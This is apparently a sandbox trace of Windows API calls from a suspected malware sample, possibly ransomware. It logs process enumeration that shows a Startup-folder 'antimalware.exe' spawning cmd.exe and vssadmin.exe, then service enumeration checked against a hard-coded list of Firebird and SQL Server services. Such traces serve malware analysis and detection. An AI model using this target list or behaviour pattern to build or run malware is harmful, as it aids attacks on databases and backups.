	[0161.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4642fd8 | out: hHeap=0x4f0000) returned 1
	[0161.559] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4a4
	[0161.565] Process32FirstW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0161.566] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0161.567] lstrlenW (lpString="System") returned 6
	[0161.567] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0161.640] lstrlenW (lpString="smss.exe") returned 8
	[0161.640] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0161.641] lstrlenW (lpString="csrss.exe") returned 9
	[0161.641] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0161.642] lstrlenW (lpString="wininit.exe") returned 11
	[0161.642] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0161.643] lstrlenW (lpString="csrss.exe") returned 9
	[0161.643] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0161.644] lstrlenW (lpString="winlogon.exe") returned 12
	[0161.644] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0161.645] lstrlenW (lpString="services.exe") returned 12
	[0161.645] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0161.646] lstrlenW (lpString="lsass.exe") returned 9
	[0161.647] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0161.648] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0161.648] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0161.649] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0161.649] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.650] lstrlenW (lpString="svchost.exe") returned 11
	[0161.650] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.651] lstrlenW (lpString="svchost.exe") returned 11
	[0161.651] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0161.652] lstrlenW (lpString="dwm.exe") returned 7
	[0161.652] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.653] lstrlenW (lpString="svchost.exe") returned 11
	[0161.653] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.655] lstrlenW (lpString="svchost.exe") returned 11
	[0161.655] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.656] lstrlenW (lpString="svchost.exe") returned 11
	[0161.656] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.657] lstrlenW (lpString="svchost.exe") returned 11
	[0161.657] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.658] lstrlenW (lpString="svchost.exe") returned 11
	[0161.658] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.905] lstrlenW (lpString="svchost.exe") returned 11
	[0161.905] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.906] lstrlenW (lpString="svchost.exe") returned 11
	[0161.906] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.907] lstrlenW (lpString="svchost.exe") returned 11
	[0161.907] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.908] lstrlenW (lpString="svchost.exe") returned 11
	[0161.908] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.909] lstrlenW (lpString="svchost.exe") returned 11
	[0161.909] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0161.910] lstrlenW (lpString="spoolsv.exe") returned 11
	[0161.910] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.911] lstrlenW (lpString="svchost.exe") returned 11
	[0161.911] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0161.912] lstrlenW (lpString="audiodg.exe") returned 11
	[0161.912] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0161.914] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0161.914] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0161.915] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0161.915] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0161.916] lstrlenW (lpString="sihost.exe") returned 10
	[0161.916] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0161.927] lstrlenW (lpString="Memory Compression") returned 18
	[0161.927] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.938] lstrlenW (lpString="svchost.exe") returned 11
	[0161.938] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0161.939] lstrlenW (lpString="taskhostw.exe") returned 13
	[0161.939] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0161.940] lstrlenW (lpString="msoia.exe") returned 9
	[0161.940] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0161.941] lstrlenW (lpString="explorer.exe") returned 12
	[0161.942] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0161.943] lstrlenW (lpString="SearchUI.exe") returned 12
	[0161.943] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0161.944] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0161.944] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0161.945] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0161.946] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0161.947] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0161.947] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0161.948] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0161.948] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0161.949] lstrlenW (lpString="cmd.exe") returned 7
	[0161.949] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0161.950] lstrlenW (lpString="conhost.exe") returned 11
	[0161.950] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0161.951] lstrlenW (lpString="consent.exe") returned 11
	[0161.951] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0161.952] lstrlenW (lpString="vssadmin.exe") returned 12
	[0161.952] Process32NextW (in: hSnapshot=0x4a4, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0161.953] CloseHandle (hObject=0x4a4) returned 1
	[0161.953] Sleep (dwMilliseconds=0x1f4) 
	[0162.826] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0188
	[0162.827] EnumServicesStatusExW (in: hSCManager=0x45b0188, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0162.845] GetLastError () returned 0xea
	[0162.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x4642fd8
	[0162.846] EnumServicesStatusExW (in: hSCManager=0x45b0188, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4642fd8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4642fd8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0162.854] CloseServiceHandle (hSCObject=0x45b0188) returned 1
	[0162.856] lstrlenW (lpString="Appinfo") returned 7
	[0162.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0162.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0162.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0162.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0162.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0162.857] lstrlenW (lpString="AppXSvc") returned 7
	[0162.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0162.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0162.857] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0162.857] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0162.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0162.857] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0162.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0162.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0162.857] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0162.857] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0162.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0162.857] lstrlenW (lpString="Audiosrv") returned 8
	[0162.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0162.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0162.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0162.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0162.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0162.858] lstrlenW (lpString="BFE") returned 3
	[0162.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0162.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0162.858] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0162.858] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0162.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0162.858] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0162.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0162.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0162.858] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0162.858] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0162.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0162.858] lstrlenW (lpString="CDPSvc") returned 6
	[0162.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0162.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0162.858] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0162.858] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0162.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0162.858] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0162.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0162.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0162.858] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0162.858] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0162.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0162.859] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0162.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0162.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0162.859] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0162.859] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0162.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0162.859] lstrlenW (lpString="CryptSvc") returned 8
	[0162.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0162.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0162.860] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0162.860] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0162.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0162.860] lstrlenW (lpString="DcomLaunch") returned 10
	[0162.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0162.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0162.860] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0162.860] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0162.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0162.860] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0162.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0162.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0162.861] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0162.861] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0162.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0162.861] lstrlenW (lpString="Dhcp") returned 4
	[0162.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0162.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0162.861] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0162.861] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0162.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0162.861] lstrlenW (lpString="Dnscache") returned 8
	[0162.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0162.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0162.861] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0162.861] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0162.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0163.148] lstrlenW (lpString="DPS") returned 3
	[0163.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0163.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0163.148] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0163.148] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0163.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0163.148] lstrlenW (lpString="DusmSvc") returned 7
	[0163.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0163.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0163.148] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0163.148] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0163.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0163.149] lstrlenW (lpString="EventLog") returned 8
	[0163.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
